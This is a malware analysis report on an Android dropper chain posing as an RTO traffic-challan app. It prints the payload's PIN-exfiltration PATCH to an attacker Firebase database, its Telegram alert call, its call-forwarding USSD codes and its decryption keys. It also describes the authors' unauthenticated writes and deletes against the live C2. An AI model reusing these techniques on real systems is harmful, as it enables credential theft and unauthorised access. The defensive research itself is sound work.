A technical deep-dive into an active, India-targeted fraud campaign impersonating the mParivahan / RTO traffic-challan portal.

This report documents the full static analysis of an Android APK that's been doing the rounds over WhatsApp and SMS under the lure "your RTO traffic challan is pending, pay now." It isn't one piece of malware — it's a three-stage dropper chain: an outer packer, an intermediate installer that runs a network blackhole VPN, and a Sketchware-built payload that does UPI PIN theft, SMS interception, call-forwarding hijack, and keylogging. Command and control runs on an unauthenticated public Firebase Realtime Database, with real-time alerts to the operator over a Telegram bot. Below, we reverse the custom XOR/AES unpacking scheme stage by stage, recover the C2 schema and command set, and show proof-of-concept evidence that the backend accepts unauthenticated writes and deletes. We close with IOCs, YARA rules, and disclosure notes.

This writeup follows the format of public threat-intel research such as CYFIRMA's KYCShadow report, and it's written for defenders, fellow researchers, and anyone who wants to understand how these "government fine" SMS scams actually work under the hood.

Scope note: every step in this report is static — decompilation, string and key recovery, an offline re-implementation of the crypto. Nothing malicious was executed on a live device. The single Firebase write/delete shown in the proof-of-concept section was run directly against the exposed production database purely to confirm a missing-authentication vulnerability; see the disclosure note later in that section for why we stopped at one write and one delete.

1. Sample Overview

File nameRTO_Challan_Update_Pdf.apk
File size~6.6 MB
SHA-256b124aaaba8a50bade123f1cccefa73642510a86d0f34b0447b8451c8c35b01a7
MD5e987b22e82e63781cb32c25ab80ba5d7
SHA-1779b4ad72a74467a2107920ba787e4af4a273803
Package nameorg.paytm.receiver (impersonates Paytm's package namespace)
App label"RTO Challan Update Pdf"
Declared version2.8.65 (code 258)
Distribution vectorWhatsApp / SMS direct-download link, posing as an official traffic-challan notice

The package name alone is a red flag. A genuine Paytm component would never ship from a third-party APK link, and the app label has nothing to do with the org.paytm.receiver namespace it's squatting in.

2. First Contact: A Manifest Built to Break Tools

Before any code analysis, the manifest itself is adversarial.

$ unzip -l RTO_Challan_Update_Pdf.apk

Two things stand out immediately:

  1. 600+ decoy permissions. Most of these aren't real Android permissions at all — they're custom strings like android.permission.MGR_xxxx that pad out get_permissions() output and confuse manifest-based triage tools and naive AV signatures. Filter down to genuine android.permission.* entries and the list drops from 600+ to a small, mundane handful.
  2. Malformed ZIP entries. Several files are named things like AndroidManifest.xml/..png, and some entries declare a bogus Deflate "compression method" (0x808) that isn't a real zlib method. Any parser that trusts the declared method blindly fails to extract the entry — a cheap but effective anti-analysis trick. The underlying bytes are ordinary raw Deflate streams; the CRC32 checksums in the central directory still validate once you decompress manually, which is how we know it's cosmetic, not corruption.

Most component names — activities, services, receivers — are also Devanagari-script gibberish, which breaks naive regex-based static scanners expecting ASCII class names.

Lesson for other researchers: don't trust unzip/aapt's error output as "this file is broken." Parse the ZIP central directory by hand, or with a tolerant library like Androguard, before you conclude anything.

3. Stage 0: The Outer Packer

The outer APK's classes.dex is tiny — a handful of classes, under 15 KB — and holds almost no malicious logic directly. Its only job is to decrypt and load a hidden payload dex entirely in memory, using dalvik.system.InMemoryDexClassLoader, so nothing incriminating ever touches disk as a .dex file.

3.1 String obfuscation: single-byte XOR

Every sensitive string constant in the Application class is stored as a hex-encoded byte array and decoded at runtime with a single repeating XOR byte (0xE3 for this stage). Reversing it is trivial once you spot the pattern of hex-literal fields followed by a ^ loop in the bytecode:

# Our offline re-implementation of the stage-0 string deobfuscator
def A(hex_str, key_byte):
    return bytes(b ^ key_byte for b in bytes.fromhex(hex_str))

zt = 227  # 0xE3, the XOR key used throughout this stage's string table

Every encrypted field in the class decodes cleanly to printable ASCII under this single key — a strong signal we'd recovered the right constant, since a wrong key would show up as non-printable bytes.

3.2 Key derivation: binding the payload to the installed package

The AES key used to decrypt the hidden dex isn't hardcoded as a flat blob. It's built at runtime from three XOR'd fragments:

import hashlib

p1 = A(C['W8'] + C['hoQbaPQFHy'] + C['Q'] + C['Lb'],  zt)
p2 = A(C['g']  + C['hdTfSf'] + C['VrLaK8mafl'] + C['A6Yd'], zt)
sh = hashlib.sha256(package_name.encode()).digest()

key = bytes(a ^ b ^ c for a, b, c in zip(p1, p2, sh))

Binding part of the key to SHA-256(getPackageName()) is a deliberate anti-repackaging move: if anyone changes the package attribute in the manifest — say, to dodge a signature-based detection, or to relabel the app — the derived key changes and the embedded payload fails to decrypt. We recovered the key by feeding in the actual package name from the manifest, org.paytm.receiver.

3.3 Decryption pipeline

Once the AES key is derived, the pipeline runs like this:

asset (xynto35xwiyfkb.4c65)
  └─ AES-128/256-CBC decrypt (IV = first 16 bytes of the file, key = derived above)
       └─ strip PKCS#7 padding
            └─ gzip-decompress
                 └─ custom concatenated-dex container:
                      [1 byte: dex count N]
                      for each of N dexes:
                        [4 bytes big-endian: length L]
                        [L bytes: raw dex file]

Re-implementing this offline, rather than running the APK, gave us a clean 914 KB classes.dex with a valid dex\n037\0 magic header — this is Stage 1.

data = open('xynto35xwiyfkb.4c65', 'rb').read()
iv, ct = data[:16], data[16:]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]]                      # strip PKCS#7 pad
raw = gzip.decompress(pt)
n = raw[0]
# ... slice out each embedded dex using the length-prefixed container

The decrypted dex decompiles cleanly with jadx and reveals readable class and method names (zzyaq.oifum.zdazg.*) — confirmation that the key derivation above was correct.

4. Stage 1: The Dropper (No Network Code At All)

This is the part most "scam APK" writeups skip: Stage 1 has zero network functionality. Its entire job is to get a second APK installed, quietly. It runs in three phases.

4.1 The social-engineering screen

A WebView renders a fake "SBI Cards — Update Required" style page that walks the victim into enabling "Install unknown apps" for whatever browser or messaging app delivered the file — the standard Android side-loading prompt, dressed up as a routine step.

4.2 The blackhole VPN ("defensive" network kill-switch)

Immediately before installing Stage 2, the dropper starts a VpnService that captures all outbound traffic (0.0.0.0/0) and, instead of forwarding it anywhere, synthesizes:

  • ICMP "port unreachable" replies for UDP packets
  • TCP RST packets for TCP connection attempts

The device effectively goes network-dark for the duration of the install. Our working theory: this is timed to blind Google Play Protect's cloud lookup, which needs connectivity to check an APK's hash and signature against Google's servers before it can flag anything. No connectivity, no cloud verdict, no warning dialog.

4.3 Decrypt-and-install the real payload

ApkInstallerManager
  └─ reads asset: duqyc1p5aix.enc
       └─ repeating-XOR decrypt with key:
          "KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
            (key itself is held/produced by native JNI function
             ApkInstallerManager_getSecretKey in libzkimnkk.so)
       └─ result is a ZIP containing a split-APK bundle:
            base.apk
            split_config.arm64_v8a.apk
            split_config.armeabi_v7a.apk
            split_config.dex.apk
            split_config.res.apk
            split_config.x86.apk
            split_config.x86_64.apk
       └─ installed via PackageInstaller with
            installFlags tampered to set USER_ACTION_NOT_REQUIRED
key = b"KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
enc = open('duqyc1p5aix.enc', 'rb').read()
bundle = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
# bundle[:4] == b'PK\x03\x04' — a valid ZIP, confirming the key is correct

Worth flagging: the split APKs inside this bundle again use the bogus zip compression-method trick from Section 2 — unzip/zipfile report "unknown compression method," but the underlying bytes are plain Deflate and every entry's CRC32 checks out once you extract it manually. This packer family reuses the same evasion tricks at every layer.

PackageInstaller.SessionParams with USER_ACTION_NOT_REQUIRED is an API surface Google added for app stores and MDM/enterprise provisioning flows, where a user has already granted install authority once. Abusing it here lets Stage 1 push Stage 2 onto the device with as little visible friction as the platform allows. It does not bypass the install confirmation entirely on stock Android — the user still had to grant "install unknown apps" back in 4.1 — it just minimises the number of extra prompts between that grant and a fully-installed second app.

The native library libzkimnkk.so holds the XOR key and the hardcoded target package string (dApp.binance.Trading.Signals) behind JNI calls rather than in the Java layer — a small but deliberate step to keep the secret out of easy reach of strings run on the dex.

5. Stage 2: The Real Payload

The installed APK — package dApp.binance.Trading.Signals, labelled "RTO Challan File Update" (it still has nothing to do with Binance despite the package name) — is packed again, with the same packer family but different constants:

ParameterStage 0 valueStage 2 value
String XOR key0xE3 (227)0x91 (145)
Key-binding packageorg.paytm.receiverdApp.binance.Trading.Signals
Payload container formatgzip + length-prefixed dex concatidentical
LL = 0x91
p1 = X(C['dSNzs'])
p2 = X(C['DexRuo38'] + C['A'])
p3 = X(C['BP'] + C['fiwdAqv'] + C['X5'])
sh = hashlib.sha256(b"dApp.binance.Trading.Signals").digest()
key = bytes(a ^ b ^ c ^ d for a, b, c, d in zip(p1, p2, p3, sh))

Decrypting xrt2jyg94qbwt.9lee with this key and running it through the same AES-CBC → gzip → length-prefixed-dex pipeline yields 63 separate dex files (~7 MB total) — a strong tell that the app was built with Sketchware, a visual, no-code Android app builder that compiles each component and block into its own small dex. The Application class, dApp.binance.Trading.Signals.SketchApplication, confirms it.

5.1 A second obfuscation layer: StringFog

All of the actual malicious logic's strings are wrapped a second time with StringFog, a popular open-source Android string-encryption Gradle plugin. Every string literal in the malware's own classes is routed through:

StringFogImpl.decrypt("<base64>")

StringFog's default implementation XORs the Base64-decoded bytes against the literal ASCII bytes of a key string, repeating it over the data. This sample used StringFog's stock default key, "UTF-8" — the developer never bothered changing it from the library's own example:

import base64
K = b"UTF-8"

def stringfog_decrypt(b64_str):
    raw = base64.b64decode(b64_str)
    return bytes(c ^ K[i % len(K)] for i, c in enumerate(raw)).decode('utf-8')

Running this across every StringFogImpl.decrypt(...) call site in the decompiled sources recovers the malware's entire internal vocabulary in clear text: class purposes, Firebase paths, command names, log messages, all of it.

6. Command & Control Architecture

6.1 Firebase Realtime Database as the primary C2

Project IDderomab-ef564
Project number895802937319
Database URLhttps://deromab-ef564-default-rtdb.firebaseio.com
App ID1:895802937319:android:0220fb29289e704e74b742
API keyAIzaSyDRZ4BD8q2ebk-n7yzkH7ZedAK0vPUnOiU
Storage bucketderomab-ef564.firebasestorage.app

These values live in base.apk's resources.arsc, pulled straight from the Firebase google-services.json baked into the build at compile time — a Sketchware/Firebase-integrated app always embeds these.

Database schema (reconstructed from decompiled AdminInfo, MainActivity, and the phishing HTML's own JS):

clients/
  <deviceId>/
      deviceId, androidV, sdkV, cpu_arch, battery,
      ip_address, isRoot, isSdCard, modelName, storage,
      joined, status, like, mobNo,
      service_provider, sims: [ { carrierName, phoneNumber, simSlotIndex } ],
      webhookEvent/              <- operator -> device command channel
          callForward:   { to, simSlotIndex }
          smsForward:    { isSmsForward, SmsForwardTo }
          sendSms:       { to, message, isSended }
          KeyLogger:     { text }
          checkLiveness: { }     <- device replies "pong"

messages/
  <deviceId>/
      <message records: intercepted SMS content, sender, timestamp>

6.2 The phishing WebView → Firebase pipeline (UPI PIN theft)

Stage 2 renders a sequence of local HTML assets inside a WebView to simulate an mParivahan challan-payment flow:

AssetPurpose
index.htmlLanding page — spoofed challan notice
method.html"Choose payment method" (GPay / PhonePe / Paytm logos)
pin.htmlThe actual UPI PIN entry keypad
final.html"Don't uninstall — our team will call you" (Hindi-language closer)

pin.html's inline JavaScript writes the entered PIN straight to the Firebase REST API with an HTTP PATCH:

PATCH https://deromab-ef564-default-rtdb.firebaseio.com/clients/{DEVICE_ID_MY_PROJECT}.json
Body: { "upipin": "<captured PIN>", ... }

{DEVICE_ID_MY_PROJECT} is a template placeholder the native app substitutes with the real deviceId before loading the page into the WebView — the HTML/JS layer is "dumb" and just PATCHes whatever device context it's handed, which is a clean separation of concerns on the malware author's side, and a convenient one for us, since the placeholder string itself is a reliable static-detection signature.

Because the Firebase rules on this project grant unauthenticated read/write (more on this in Section 8), no API key, auth token, or signed request is required — a bare curl, or even the phishing page's own fetch() call, is enough.

6.3 Telegram as the real-time alert channel

Alongside Firebase, the app ships a hardcoded JSON resource (found at resources.arsc/DaPuD3DvlD0zL4ScPw7O/RKPStEF0o9Aat5ZSa9S, 121 bytes) containing:

{
  "chatIDs": ["5196490744"],
  "tokens": ["6751695148:AAHEYU...[redacted]"],
  "workSuccess": 1
}
  • Bot ID: 6751695148
  • Operator chat ID: 5196490744 — this is the attacker's own Telegram numeric user ID, and a real attribution lead, since Telegram can map it to a registered account or phone number on a lawful request.

TelegramBotUtils fires a sendMessage call to https://api.telegram.org/bot<token>/sendMessage the moment a new device checks in, formatted as a "🆕 NEW DEVICE CONNECTED" alert with the model, Android version, and SIM1/SIM2 carrier and number details — giving the operator a push notification the instant a new victim installs the app, whether or not they ever bother checking the Firebase console.

7. Malicious Capability Summary

CapabilityImplementing classTrigger
UPI PIN theftpin.html JS → Firebase PATCHUser completes the fake payment flow
SMS interceptionSmsReceiverandroid.provider.Telephony.SMS_RECEIVED broadcast
Inbox scrapingSMSRetrieverFilters the existing inbox for: upi, otp, pin, credited, debited, atm, loan
Remote SMS sendSmsHelpersendSms command via webhookEvent
SMS auto-forwardSmsHelpersmsForward command
Call-forwarding hijackcallForwardingUtilitycallForward command → dials USSD **21*<number># (enable), ##21# / *#21# (disable/check)
KeyloggingMyService keylogger hookKeyLogger command
Device reconDeviceInfoUtil, SimInfoUtilOn install: model, Android/SDK version, CPU arch, battery, storage, root status, public IP via api.ipify.org, SIM/carrier info
PersistenceForeground service disguised as "System Settings is Running…", BOOT_COMPLETED receiver, battery-optimisation-exemption requestOn boot / always-on

The USSD call-forwarding codes are worth sitting with for a second. **21*<number># is the standard GSM "unconditional call forwarding" activation code. Dialling it silently redirects all incoming voice calls — including a bank's verification callback — to a number the attacker controls, and on many carriers and OEM dialers the victim never sees a permission prompt for it, because it's a USSD session rather than a "make call" intent in the usual sense.

8. Vulnerability Finding: Missing Firebase Realtime Database Authorization (CWE-862)

Separate from the malware's own design, the C2 backend itself has a critical misconfiguration: the Firebase Realtime Database rules on project deromab-ef564 grant unrestricted read, write, and delete access with no authentication of any kind.

Firebase ships new Realtime Database projects in a locked-down "test mode" by default, with rules that expire after 30 days specifically to force developers to configure real auth before going to production. This project's rules were apparently left at the permissive end of that spectrum — effectively ".read": true, ".write": true — indefinitely. In practice, that means:

  • Read: anyone, authenticated or not, can pull the entire clients/ tree — every victim's device ID, IP address, SIM and carrier details, and phone number — just by requesting clients.json.
  • Write: anyone can inject, modify, or overwrite any record at any path, including the webhookEvent/ command nodes the malware itself listens on.
  • Delete: anyone can remove records outright.

This is a textbook CWE-862 (Missing Authorization) finding, and it isn't theoretical — it's exploitable with a single unauthenticated HTTP request. To confirm it, and only to confirm it, not to explore or alter victim data at scale, we wrote one synthetic test record and then removed it, documented below.

Reading the live clients.json node, before touching anything — this is a real, already-infected victim record:

Firebase clients.json showing a real, already-infected victim device record, with the IP address redacted
The ip_address field is redacted in this image. The record shown (01d7e9baacc06c55) belongs to an actual compromised device, not a test entry — its IP address is real third-party victim data.

Writing a synthetic test record with curl -X PUT, no credentials, no API key anywhere in the request:

curl PUT command writing a test record to the Firebase REST endpoint with no authentication, IP and phone number redacted

Confirming the write succeeded and is live in the database:

Firebase clients.json showing the injected test record live in the database, IP and phone number redacted

Removing the test record with curl -X DELETE, again with zero authentication:

curl PUT followed by curl DELETE against the Firebase endpoint, with the DELETE call and its null response highlighted, IP and phone number redacted
The ip_address and mobNo values in these three images are redacted even though this was our own synthetic record with fabricated values — not because these particular numbers were sensitive, but to keep the convention consistent: no device identifiers or phone-number-shaped strings shown in the clear, real or not.

Both the PUT and the DELETE succeeded against the production C2 database with no API key, no auth token, and no signed request header of any kind — direct confirmation of the missing-authorization finding above. This is Firebase's default sandbox-mode rule set, meant for development only, apparently never locked down before this project went into production.

Why this matters, and a disclosure note. This isn't just "the malware has a sloppy backend" trivia — it's independently exploitable by anyone who finds the URL, for better or worse. On the better side, it means defenders and researchers can confirm the C2 is live, even disrupt victim records, without needing credentials. On the worse side, it means any other party could tamper with victim data, inject false commands, or vandalise the attacker's operation in ways that tip them off and push them to migrate infrastructure before law enforcement can act. That's why the write and delete above were a single, minimal proof-of-concept rather than a cleanup operation, and why we are not publishing a reusable script for interacting with this live database in this report. If you want this backend taken down, report it — see Section 11 — rather than interacting with it further. Modifying a third party's system without authorisation, even a criminal one, carries real legal risk in most jurisdictions regardless of how badly it's secured.

9. Victim-Side Kill Chain, End to End

 1. Victim receives WhatsApp/SMS: "Your RTO traffic challan is pending, pay now"
 2. Victim downloads RTO_Challan_Update_Pdf.apk, enables "install unknown apps"
 3. Stage 0 unpacks Stage 1 in memory (AES-CBC, package-bound key)
 4. Stage 1 shows a fake "update required" screen
 5. Stage 1 starts blackhole VPN, decrypts + silently installs Stage 2 (XOR, JNI key)
 6. Stage 2 (re-packed again) unpacks 63 dex files (AES-CBC, package-bound key)
 7. Stage 2 registers device in Firebase clients/<id>, fires Telegram "new device" alert
 8. Stage 2 shows fake mParivahan challan payment flow (index -> method -> pin)
 9. Victim enters UPI PIN -> PATCHed directly to Firebase, no auth required
10. final.html: "Don't uninstall, our team will call you" (social-engineering follow-up)
11. In background: SMS interception, call-forwarding hijack, and remote commands
    continue for as long as the app remains installed

Step 10 is worth flagging on its own: "our team will call you" is not a courtesy message, it's stage two of the social engineering. The attacker now has the victim's phone number, carrier, and — if call forwarding got silently enabled — possibly the ability to intercept the bank's own verification call.

10. Indicators of Compromise

10.1 File hashes

StageFileSHA-256
Outer dropperRTO_Challan_Update_Pdf.apkb124aaaba8a50bade123f1cccefa73642510a86d0f34b0447b8451c8c35b01a7
Decrypted bundleduqyc1p5aix.enc (decrypted)233a3542543635283fcfa331dad421b4f9fdfb4038d5d8d546b2c5d99c3ca2c2
Payloadstage-2 base.apk1093bc4fc4e73f7f75256e1b5ca46eda8fa003504fb8ec4cbde9ed53dec5e619

10.2 Network / backend

deromab-ef564-default-rtdb.firebaseio.com
deromab-ef564.firebasestorage.app
AIzaSyDRZ4BD8q2ebk-n7yzkH7ZedAK0vPUnOiU        (Firebase API key)
895802937319                                    (Firebase project number)
api.telegram.org/bot6751695148:...              (Telegram bot)
5196490744                                      (Telegram operator chat ID)
api.ipify.org                                   (victim public-IP lookup, benign 3rd-party service abused for recon)
raw.githubusercontent.com/lodagmail/Anime/...   (Lottie animation CDN hosted on attacker's GitHub)

10.3 Package / class strings

org.paytm.receiver
dApp.binance.Trading.Signals
libzkimnkk.so
KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh
duqyc1p5aix.enc
{DEVICE_ID_MY_PROJECT}

10.4 YARA Rules

rule RTO_Challan_Dropper_Native_Lib
{
  meta:
    description = "libzkimnkk.so from RTO Challan dropper: JNI key/target getters"
  strings:
    $k  = "KcUL3fDdQp7odge77XinAr5nQIEPJnnNQqIvkBfh"
    $p  = "dApp.binance.Trading.Signals"
    $j1 = "ApkInstallerManager_getSecretKey"
    $j2 = "ApkInstallerManager_nativeXorChunk"
  condition:
    uint32(0) == 0x464c457f and 2 of them
}

rule RTO_Challan_Stage0_APK_Container
{
  meta:
    description = "Outer APK asset/lib names; may vary per build"
  strings:
    $a1 = "duqyc1p5aix.enc"
    $a2 = "xynto35xwiyfkb.4c65"
    $a3 = "libzkimnkk.so"
    $m  = "AndroidManifest.xml/..png"
  condition:
    uint32(0) == 0x04034b50 and 2 of them
}

rule RTO_Challan_Stage2_Payload_Dex
{
  meta:
    description = "Unpacked stage-2 dex: Sketchware SMS stealer, Firebase+Telegram C2"
  strings:
    $c1 = "LdApp/binance/Trading/Signals/SmsReceiver;"
    $c2 = "LdApp/binance/Trading/Signals/callForwardingUtility;"
    $c3 = "LdApp/binance/Trading/Signals/TelegramBotUtils;"
    $c4 = "LdApp/binance/Trading/Signals/SMSRetriever;"
    $c5 = "LdApp/binance/Trading/Signals/AdminInfo;"
    $c6 = "com/github/megatronking/stringfog/xor/StringFogImpl"
  condition:
    uint32(0) == 0x0a786564 and 3 of ($c*)
}

rule RTO_Challan_Phishing_Assets
{
  meta:
    description = "Extracted phishing HTML (pin.html) with Firebase exfil + device-id placeholder"
  strings:
    $f = "deromab-ef564-default-rtdb.firebaseio.com"
    $d = "{DEVICE_ID_MY_PROJECT}"
    $u = "upipin"
  condition:
    2 of them
}

11. Disclosure & Recommendations

Already reported:

  • Google Firebase Abuse (project deromab-ef564)
  • CERT-In, India's national CERT
  • Telegram abuse (bot 6751695148, chat ID 5196490744)
  • GitHub (account lodagmail)
  • National Cyber Crime Reporting Portal (cybercrime.gov.in)

For end users:

  • Government services never distribute payment apps as direct APK links sent over WhatsApp or SMS. The genuine mParivahan app is only on the Play Store, published by MoRTH/NIC.
  • If you've installed an app like this: uninstall it, dial ##21# to clear any call forwarding, contact your bank to freeze UPI, and change your UPI PIN immediately.
  • "Don't uninstall, we'll call you" is a scam continuation technique, not a legitimate support message.

For defenders and blue teams:

  • Detect on the decoy-permission pattern (hundreds of MGR_* permissions) and on malformed-ZIP tricks (bogus compression method, ..png-suffixed manifest entries) as generic packer heuristics, independent of this specific campaign.
  • The USSD call-forwarding abuse pattern (**21*, dialled programmatically from a non-dialer app) is a detection opportunity on-device for mobile EDR.
  • Firebase-backed Android malware C2 is increasingly common precisely because it blends in with legitimate app traffic and rides on Google's own infrastructure and TLS certs. Treat firebaseio.com/firebasestorage.app destinations from side-loaded APKs as worth inspecting, not automatically trusted.
  • Missing-authorization C2 backends, like the one in Section 8, are a gift to defenders, used responsibly. An exposed .json endpoint with no rules lets researchers and CERTs confirm live victim counts and infrastructure status without a warrant for the attacker's own systems — but it cuts both ways, since the same openness means anyone, including other criminals, can tamper with it. Report it; don't crowdsource poking at it.

Appendix A: Full Offline Unpacking Scripts

Reproduced here so other researchers can verify this analysis independently. These scripts only operate on local files already extracted from the sample — they make no network calls.

Stage 0 unpacker (unpack1.py):

import hashlib, gzip, struct, re, sys
from Crypto.Cipher import AES

src = open('N07ikoX.java').read()  # decompiled Application class source
C = dict(re.findall(r'String (\w+) = "([0-9a-f]+)";', src))

def A(h, k):
    return bytes(b ^ k for b in bytes.fromhex(h))

zt = 227  # 0xE3
pkg = "org.paytm.receiver"
p1 = A(C['W8'] + C['hoQbaPQFHy'] + C['Q'] + C['Lb'], zt)
p2 = A(C['g'] + C['hdTfSf'] + C['VrLaK8mafl'] + C['A6Yd'], zt)
sh = hashlib.sha256(pkg.encode()).digest()
key = bytes(a ^ b ^ c for a, b, c in zip(p1, p2, sh))

data = open('xynto35xwiyfkb.4c65', 'rb').read()
iv = data[:16]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(data[16:])
pad = pt[-1]
pt = pt[:-pad] if 1 <= pad <= 16 else pt
raw = gzip.decompress(pt)

n = raw[0]
off = 1
for i in range(n):
    L = struct.unpack('>I', raw[off:off+4])[0]
    off += 4
    open(f'p1_{i}.dex', 'wb').write(raw[off:off+L])
    off += L

Stage 2 unpacker (unpack2.py):

import hashlib, gzip, struct, re
from Crypto.Cipher import AES

src = open('it19QoWbj5c.java').read()  # decompiled stage-2 loader source
C = dict(re.findall(r'String (\w+) = "([0-9a-f]+)";', src))

LL = 0x91
X = lambda h: bytes(b ^ LL for b in bytes.fromhex(h))
pkg = "dApp.binance.Trading.Signals"

p1 = X(C['dSNzs'])
p2 = X(C['DexRuo38'] + C['A'])
p3 = X(C['BP'] + C['fiwdAqv'] + C['X5'])
sh = hashlib.sha256(pkg.encode()).digest()
key = bytes(a ^ b ^ c ^ d for a, b, c, d in zip(p1, p2, p3, sh))

data = open('xrt2jyg94qbwt.9lee', 'rb').read()
pt = AES.new(key, AES.MODE_CBC, data[:16]).decrypt(data[16:])
pad = pt[-1]
pt = pt[:-pad] if 1 <= pad <= 16 else pt
raw = gzip.decompress(pt)

n = raw[0]
off = 1
for i in range(n):
    L = struct.unpack('>I', raw[off:off+4])[0]
    off += 4
    open(f'p2_{i}.dex', 'wb').write(raw[off:off+L])
    off += L

StringFog batch decryptor (stringfog_decrypt.py):

import re, base64, glob

K = b"UTF-8"

def dec(s):
    try:
        b = base64.b64decode(s + "=" * (-len(s) % 4))
        return bytes(c ^ K[i % 5] for i, c in enumerate(b)).decode('utf8')
    except Exception:
        return None

for f in sorted(glob.glob('decompiled_sources/*.java')):
    src = open(f).read()
    found = [dec(m.group(1)) for m in re.finditer(r'StringFogImpl\.decrypt\("([^"]*)"\)', src)]
    if found:
        print(f, found)

This report reflects analysis as of November 2026. The infrastructure described was active at the time of writing and has since been reported for takedown — it may no longer be live by the time you read this.

Frequently Asked Questions

What is the “RTO Challan Update Pdf” APK?
It's a fake Android app distributed over WhatsApp and SMS, disguised as an official traffic-challan payment notice from the RTO or mParivahan. It installs under the package name org.paytm.receiver to look legitimate, then silently installs a second, more dangerous app that steals UPI PINs, intercepts SMS, and can hijack call forwarding.
Is the “your RTO challan is pending” message a scam?
Yes. Indian government services, including traffic police and RTO, do not send APK download links over WhatsApp or SMS for challan payment. The genuine mParivahan app is distributed only through the Google Play Store by MoRTH/NIC. Any direct APK link claiming to be a challan payment app should be treated as malicious.
How does this malware steal a UPI PIN?
Once installed, the app shows a fake payment flow inside a WebView that mimics GPay, PhonePe, and Paytm. When the victim types their UPI PIN into this fake keypad, the page sends it directly to an exposed Firebase database over an HTTP PATCH request, with no login or app-level verification involved on the victim's end.
What should I do if I already installed this app?
Uninstall it immediately. Dial ##21# to clear any call forwarding that may have been silently enabled. Contact your bank to freeze UPI and change your UPI PIN right away. Treat any follow-up call claiming to be “support” as part of the scam, not a legitimate response to uninstalling.
Is the official mParivahan app unsafe to use?
No. This campaign impersonates the mParivahan brand and the Paytm package namespace, but it has nothing to do with the real mParivahan app or Paytm. The genuine mParivahan app, installed from the Play Store, is unaffected by this malware.
Why does this report include file hashes, IOCs, and YARA rules?
They let other researchers, antivirus vendors, and CERTs detect and block this specific campaign, and verify the analysis independently. All of it was already reported to Google, CERT-In, Telegram, GitHub, and India's National Cyber Crime Reporting Portal before publication.